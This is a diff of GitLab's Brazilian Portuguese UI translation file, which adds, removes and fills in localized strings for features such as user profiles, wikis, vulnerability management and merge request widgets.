-msgid "UsageQuota|Wikis"
-msgstr "Wikis"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr "Linguajem de programação usada"
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr "Usado para ajudar a configurar seu provedor de identidade"
@@ -37460,7 +38058,7 @@ msgid "UserList|created %{timeago}"
msgstr "criado em %{timeago}"
msgid "UserProfile|(Busy)"
-msgstr ""
+msgstr "(Ocupado)"
msgid "UserProfile|Activity"
msgstr "Atividade"
@@ -37496,7 +38094,7 @@ msgid "UserProfile|Groups are the best way to manage projects and members."
msgstr "Os grupos são a melhor maneira de gerenciar projetos e membros."
msgid "UserProfile|Join or create a group to start contributing by commenting on issues or submitting merge requests!"
-msgstr "Entre ou crie um grupo para começar a contribuir comentando em issues ou enviando merge requests!"
+msgstr "Entre ou crie um grupo para começar a contribuir comentando em issues ou enviando solicitações de mesclagem!"
msgid "UserProfile|Most Recent Activity"
msgstr "Atividade mais recente"
@@ -37583,17 +38181,14 @@ msgid "UserProfile|Your projects can be available publicly, internally, or priva
msgstr "Seus projetos podem estar disponíveis publicamente, internamente ou privadamente, à sua escolha."
msgid "UserProfile|at"
-msgstr ""
+msgstr "em"
msgid "UserProfile|made a private contribution"
-msgstr ""
+msgstr "fez uma contribuição privada"
msgid "Username"
msgstr "Nome de usuário"
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "Nome de usuário (opcional)"
@@ -37661,7 +38256,7 @@ msgid "UsersSelect|Unassigned"
msgstr "Não atribuído"
msgid "Uses GitLab as a lightweight alternative to Sentry."
-msgstr ""
+msgstr "Use o GitLab como uma alternativa leve ao Sentry."
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
@@ -37739,7 +38334,7 @@ msgid "ValueStreamAnalytics|Average number of deployments to production per day.
msgstr ""
msgid "ValueStreamAnalytics|Dashboard"
-msgstr ""
+msgstr "Painel"
msgid "ValueStreamAnalytics|Go to docs"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr "Status de verificação"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Verificado"
@@ -37843,6 +38450,9 @@ msgstr "Versão %{versionNumber} (última)"
msgid "View Documentation"
msgstr "Ver documentação"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr "Veja os detalhes do alerta em"
@@ -37940,6 +38550,9 @@ msgstr "Ver registros"
msgid "View merge request"
msgstr "Ver solicitação de mesclagem"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr "Ver em %{url}"
@@ -38050,6 +38663,9 @@ msgstr "Relatório de vulnerabilidade"
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr "%{formattedStartDate} até hoje"
msgid "VulnerabilityChart|Severity"
msgstr "Severidade"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr "%{statusStart}Confirmado%{statusEnd} %{timeago} por %{user}"
@@ -38080,6 +38693,9 @@ msgstr "%{statusStart}Resolvido%{statusEnd} %{timeago} por %{user}"
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr "Todos os status"
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38414,7 +39042,7 @@ msgid "Webhook Settings"
msgstr "Configurações de webhook"
msgid "Webhook events will be displayed here."
-msgstr ""
+msgstr "Os eventos do webhook serão exibidos aqui."
msgid "Webhook:"
msgstr "Webhook:"
@@ -38612,7 +39240,7 @@ msgid "What will you use this group for?"
msgstr "Para que você usará este grupo?"
msgid "What would you like to do?"
-msgstr ""
+msgstr "O que você gostaria de fazer?"
msgid "What's new"
msgstr "Novidades"
@@ -38623,6 +39251,9 @@ msgstr "Quando uma tarefa de implantação é bem-sucedida, pule as tarefas de i
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Quando um executor está bloqueado, não pode ser atribuído a outros projetos"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr "Ao deixar o URL em branco, a classificação das etiquetas ainda podem s
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr "Quando as solicitações de mesclagem e commits na ramificação padrão são fechadas, todas as issues aos quais eles fazem referência também são encerrados."
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38722,13 +39353,13 @@ msgid "WikiEmpty| Have a Confluence wiki already? Use that instead."
msgstr "Já tem uma wiki de Confluence? Use-a em vez disso."
msgid "WikiEmpty|A wiki is where you can store all the details about your group. This can include why you've created it, its principles, how to use it, and so on."
-msgstr ""
+msgstr "Um wiki é onde você pode armazenar todos os detalhes sobre o seu grupo. Isso pode incluir por que você criou, seus princípios, como usá-lo e assim por diante."
msgid "WikiEmpty|A wiki is where you can store all the details about your project. This can include why you've created it, its principles, how to use it, and so on."
msgstr "Uma wiki é onde você pode armazenar todos os detalhes sobre o seu projeto. Isso pode incluir por que você criou, seus princípios, como usá-lo e assim por diante."
msgid "WikiEmpty|Confluence is enabled"
-msgstr ""
+msgstr "Confluence está ativado"
msgid "WikiEmpty|Create your first page"
msgstr "Crie sua primeira página"
@@ -38743,7 +39374,7 @@ msgid "WikiEmpty|Suggest wiki improvement"
msgstr "Sugerir melhoria da wiki"
msgid "WikiEmpty|The wiki lets you write documentation for your group"
-msgstr ""
+msgstr "O wiki permite que você escreva documentação para seu grupo."
msgid "WikiEmpty|The wiki lets you write documentation for your project"
msgstr "A wiki permite que você escreva documentação para seu projeto"
@@ -38808,6 +39439,12 @@ msgstr "Criar %{pageTitle}"
msgid "WikiPage|Create page"
msgstr "Criar página"
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr "Formato"
@@ -38817,7 +39454,7 @@ msgstr "Obtenha uma experiência de edição mais rica"
msgid "WikiPage|Keep editing"
msgstr "Manter edição"
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38953,7 +39593,7 @@ msgid "Write a description or drag your files here…"
msgstr "Escreva uma descrição ou arraste seus arquivos para aqui…"
msgid "Write a description…"
-msgstr ""
+msgstr "Escreva uma descrição…"
msgid "Write milestone description..."
msgstr "Escreva a descrição do marco..."
@@ -39064,7 +39704,7 @@ msgid "You are not authorized to perform this action"
msgstr ""
msgid "You are not authorized to update this profile"
-msgstr ""
+msgstr "Você não está autorizado a atualizar este perfil"
msgid "You are not authorized to update this scanner profile"
msgstr ""
@@ -39204,14 +39844,11 @@ msgstr "Agora você pode enviar uma solicitação de mesclagem para fazer esta m
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "Você só pode editar arquivos quando estiver em uma ramificação"
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr "Você só pode fazer a mesclagem quando essa solicitação de mesclagem for aprovada."
+msgid "You can only edit files when you are on a branch"
+msgstr "Você só pode editar arquivos quando estiver em uma ramificação"
msgid "You can only transfer the project to namespaces you manage."
msgstr "Você só pode transferir o projeto para espaços de nome que você gerencia."
@@ -39220,7 +39857,7 @@ msgid "You can only upload one design when dropping onto an existing design."
msgstr ""
msgid "You can recover this project until %{date}"
-msgstr ""
+msgstr "Você pode recuperar este projeto até %{date}"
msgid "You can resolve the merge conflict using either the Interactive mode, by choosing %{use_ours} or %{use_theirs} buttons, or by editing the files directly. Commit these changes into %{branch_name}"
msgstr "Você pode resolver o conflito de mesclagem usando o modo Interativo, escolhendo os botões %{use_ours} ou %{use_theirs} ou editando os arquivos diretamente. Confirme essas alterações em %{branch_name}"
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Você não pode acessar o arquivo bruto. Por favor, aguarde um minuto."
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr "Você não pode se passar por um usuário bloqueado"
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr "Você não pôde criar um novo gatilho."
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "Você ainda não tem nenhuma inscrição"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "Você não tem permissão para deixar este %{namespaceType}."
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Você recebeu acesso %{access_level} ao %{source_link} %{source_type}."
@@ -39340,10 +39991,10 @@ msgid "You have been granted %{access_level} access to the %{source_name} %{sour
msgstr "Você recebeu acesso %{access_level} ao %{source_name} %{source_type}."
msgid "You have been granted %{member_human_access} access to group %{name}."
-msgstr ""
+msgstr "Você recebeu acesso %{member_human_access} ao grupo %{name}."
msgid "You have been granted %{member_human_access} access to project %{name}."
-msgstr ""
+msgstr "Você recebeu acesso %{member_human_access} ao projeto %{name}."
msgid "You have been invited by %{link_to_inviter} to join %{source_name} %{strong_open}%{link_to_source}%{strong_close} as %{role}"
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39409,7 +40063,7 @@ msgid "You have successfully purchased a %{plan} plan subscription for %{seats}.
msgstr ""
msgid "You have unsaved changes"
-msgstr ""
+msgstr "Você tem mudanças não salvas"
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -39487,7 +40141,7 @@ msgid "You will be the author of all events in the activity feed that are the re
msgstr ""
msgid "You will first need to set up Jira Integration to use this feature."
-msgstr ""
+msgstr "Primeiro, você precisa configurar a integração com o Jira para usar este recurso."
msgid "You will lose all changes you've made to this file. This action cannot be undone."
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Você será notificado apenas sobre comentários que te @mencionam"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39556,7 +40207,7 @@ msgid "You're receiving this email because of your account on %{host}. %{manage_
msgstr "Você está recebendo este e-mail devido à sua conta no %{host}. %{manage_notifications_link} &middot; %{help_link}"
msgid "You're receiving this email because of your activity on %{host}."
-msgstr ""
+msgstr "Você está recebendo este e-mail devido à sua atividade no %{host}."
msgid "You're receiving this email because you have been assigned an item on %{host}."
msgstr ""
@@ -39580,7 +40231,7 @@ msgid "Your %{group} membership will now expire in %{days}."
msgstr ""
msgid "Your %{host} account was signed in to from a new location"
-msgstr ""
+msgstr "Sua conta %{host} foi conectada a partir de um novo local"
msgid "Your %{strong}%{plan_name}%{strong_close} subscription expires on %{strong}%{expires_on}%{strong_close}. After that date, you cannot create issues or merge requests, or use many other features."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "A sua conta está bloqueada."
@@ -39703,7 +40360,7 @@ msgid "Your changes have been saved"
msgstr "Suas alterações foram salvas"
msgid "Your changes have been successfully committed."
-msgstr ""
+msgstr "Suas alterações foram salvadas com sucesso."
msgid "Your comment could not be submitted because %{error}"
msgstr ""
@@ -39766,7 +40423,7 @@ msgid "Your issues are being imported. Once finished, you'll get a confirmation
msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
-msgstr ""
+msgstr "Suas issues serão importadas em segundo plano. Quando terminar, você receberá um e-mail de confirmação."
msgid "Your license does not support on-call rotations"
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr "Sua pesquisa expirou"
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr "Seu nome de usuário é %{username}."
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "adicionado %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr "adicionou %{emails}"
@@ -39971,7 +40625,7 @@ msgid "ago"
msgstr "atrás"
msgid "alert"
-msgstr ""
+msgstr "alerta"
msgid "allowed to fail"
msgstr "permitido falhar"
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr "O Teste de Segurança de Aplicativos Dinâmicos (DAST) detecta vulnerabi
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Falha ao carregar o relatório %{reportName}"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr "Corrigido:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Encontrado %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Carregando relatório %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Gerenciar licenças"
@@ -40330,6 +40993,9 @@ msgstr "Verificação de segurança"
msgid "ciReport|Security scanning failed loading any results"
msgstr "A verificação de segurança falhou ao carregar resultados"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Solução"
@@ -40456,16 +41122,16 @@ msgid "created"
msgstr "criado"
msgid "created %{issuable_created} by %{author}"
-msgstr "criado %{issuable_created} por %{author}"
+msgstr "criado em %{issuable_created} por %{author}"
msgid "created %{timeAgoString} by %{email} via %{user}"
-msgstr "criado há %{timeAgoString} por %{email} via %{user}"
+msgstr "criado em %{timeAgoString} por %{email} via %{user}"
msgid "created %{timeAgoString} by %{user}"
-msgstr "criado %{timeAgoString} por %{user}"
+msgstr "criado em %{timeAgoString} por %{user}"
msgid "created %{timeAgoString} by %{user} in Jira"
-msgstr "criado há %{timeAgoString} por %{user} no Jira"
+msgstr "criado em %{timeAgoString} por %{user} no Jira"
msgid "created %{timeAgo}"
msgstr "criado em %{timeAgo}"
@@ -40535,7 +41201,7 @@ msgid "element is not a hierarchy"
msgstr ""
msgid "eligible users"
-msgstr ""
+msgstr "usuários elegíveis"
msgid "email '%{email}' is not a verified email."
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr "fluxo de importação"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr "em todo o GitLab"
-
-msgid "in group"
-msgstr "no grupo"
-
msgid "in group %{link_to_group}"
msgstr "no grupo %{link_to_group}"
-msgid "in project"
-msgstr "no projeto"
-
msgid "in project %{link_to_project}"
msgstr "no projeto %{link_to_project}"
@@ -40775,10 +41429,10 @@ msgid "is not in the group enforcing Group Managed Account"
msgstr ""
msgid "is not in the member group"
-msgstr ""
+msgstr "não é membro do grupo"
msgid "is not the member project"
-msgstr ""
+msgstr "não é membro do projeto"
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr "bloqueador por %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr "gerenciado"
-
msgid "manual"
msgstr ""
@@ -40899,15 +41550,15 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} e %{mergeCommitCount} será adicionado à %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} será adicionado à %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr "Essa solicitação de mesclagem não contém alterações"
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Por favor, restaurar ou usar um branch %{missingBranchName} diferente"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr "%{metricsLinkStart} Memória %{metricsLinkEnd} uso %{emphasisStart} aume
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} Memória %{metricsLinkEnd} uso é %{emphasisStart} inalterado %{emphasisEnd} em %{memoryFrom}MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40975,13 +41626,10 @@ msgid "mrWidget|Approved by"
msgstr "Aprovado por"
msgid "mrWidget|Approved by you"
-msgstr ""
+msgstr "Aprovado por você"
msgid "mrWidget|Approved by you and others"
-msgstr ""
-
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
+msgstr "Aprovado por você e outros"
msgid "mrWidget|Cancel auto-merge"
msgstr "Cancelar mesclagem automática"
@@ -40996,7 +41644,7 @@ msgid "mrWidget|Cherry-pick"
msgstr "Cherry-pick"
msgid "mrWidget|Cherry-pick this merge request in a new merge request"
-msgstr "Fazer cherry-pick desse merge request em um novo merge request"
+msgstr "Fazer cherry-pick desse merge request em uma nova solicitação de mesclagem"
msgid "mrWidget|Closed"
msgstr "Fechado"
@@ -41015,6 +41663,9 @@ msgstr "Criar uma issue para resolver todos os tópicos"
msgid "mrWidget|Delete source branch"
msgstr "Excluir branch de origem"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Estatísticas de implantação não estão disponíveis atualmente"
@@ -41024,17 +41675,23 @@ msgstr "Não foi possível fechar"
msgid "mrWidget|Dismiss"
msgstr "Dispensar"
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Email patches"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Falha ao carregar estatísticas de implantação"
-msgid "mrWidget|Hide %{widget} details"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
msgstr ""
+msgid "mrWidget|Hide %{widget} details"
+msgstr "Ocultar detalhe de %{widget}"
+
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
-msgstr "Se o branch %{missingBranchName} existir em seu repositório local, você poderá fazer merge request manualmente usando a linha de comando"
+msgstr "Se a ramificação %{missingBranchName} existir em seu repositório local, você poderá fazer solicitação de mesclagem manualmente usando a linha de comando"
msgid "mrWidget|If the last pipeline ran in the fork project, it may be inaccurate. Before merge, we advise running a pipeline in this project."
msgstr "Se o ultimo pipeline foi executado no fork do projeto, pode ser impreciso. Antes de fazer o merge, recomendamos a execução de um pipeline nesse projeto"
@@ -41043,7 +41700,7 @@ msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
msgid "mrWidget|Learn more"
-msgstr ""
+msgstr "Saiba mais"
msgid "mrWidget|Loading deployment statistics"
msgstr "Carregando estatísticas de implantação"
@@ -41065,21 +41722,36 @@ msgstr "Mesclar"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr "Mesclagem bloqueada: todos os tópicos devem ser resolvidos."
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Falha ao mesclar."
msgid "mrWidget|Merge locally"
msgstr "Mesclar localmente"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Mesclado por"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr "Solicitar mesclagem"
msgid "mrWidget|Resolve conflicts"
msgstr "Resolver conflitos"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "Resolva estes conflitos ou peça a alguém com acesso de escrita para este repositório realizar a mesclagem localmente"
-
msgid "mrWidget|Revert"
msgstr "Reverter"
@@ -41156,7 +41834,7 @@ msgid "mrWidget|Set by %{merge_author} to start a merge train when the pipeline
msgstr ""
msgid "mrWidget|Show %{widget} details"
-msgstr ""
+msgstr "Exibir detalhes de %{widget}"
msgid "mrWidget|The changes were merged into"
msgstr "Houve merge das alterações em"
@@ -41164,9 +41842,6 @@ msgstr "Houve merge das alterações em"
msgid "mrWidget|The changes were not merged into"
msgstr "Não houve merge para as mudanças em"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Será feito merge das alterações em"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr "O pipeline para essse merge request não foi concluído. Faça um push em um novo commit para corrigir a falha, ou verifique a %{linkStart}documentação de solução de problemas%{linkEnd} para ver as possíveis ações."
@@ -41180,40 +41855,31 @@ msgid "mrWidget|The source branch is %{link} the target branch"
msgstr "A ramificação de origem é %{link} da ramificação de destino"
msgid "mrWidget|The source branch is being deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will be deleted"
-msgstr "A ramificação de origem será excluída"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "A ramificação de origem não será excluída"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Existem conflitos de merge"
+msgstr "A ramificação de origem está sendo excluído"
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Falha ao realizar merge automaticamente"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Este projeto está arquivado, a escrita foi desativada"
-
